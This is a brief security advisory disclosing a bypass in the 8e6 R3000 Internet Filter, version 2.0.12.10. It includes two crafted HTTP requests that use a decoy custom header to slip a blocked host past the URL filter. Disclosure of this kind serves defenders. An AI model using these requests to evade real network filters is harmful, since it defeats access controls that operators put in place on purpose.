8e6 Technologies R3000 Internet Filter Bypass with Host Decoy

8e6 Technologies R3000 Internet Filter Bypass with Host Decoy

Product:

8e6 Technologies R3000 Internet Filter
http://www.8e6.com/network-security/internet-filtering/internet-filtering.html

The HTTP URL filtering function provided by the 8e6 Technologies R3000 Internet Filter contains a vulnerability in
that it can mistake a properly formed custom header for the Host header. This can be exploited for bypassing the
filter by providing an allowed site in the custom header.

Examples:

GET / HTTP/1.0
X-DecoyHost: www.allowed.org
Host: www.blocked.org

GET / HTTP/1.0
X-Decoy: Host: www.allowed.org
Host: www.blocked.org

This weakness cannot be leveraged for circumventing blocks based on IP addresses (as opposed to DNS names).

The vulnerability has been identified in version 2.0.12.10. However, other versions may be also affected.

Solution:
None

Found by:
nnposter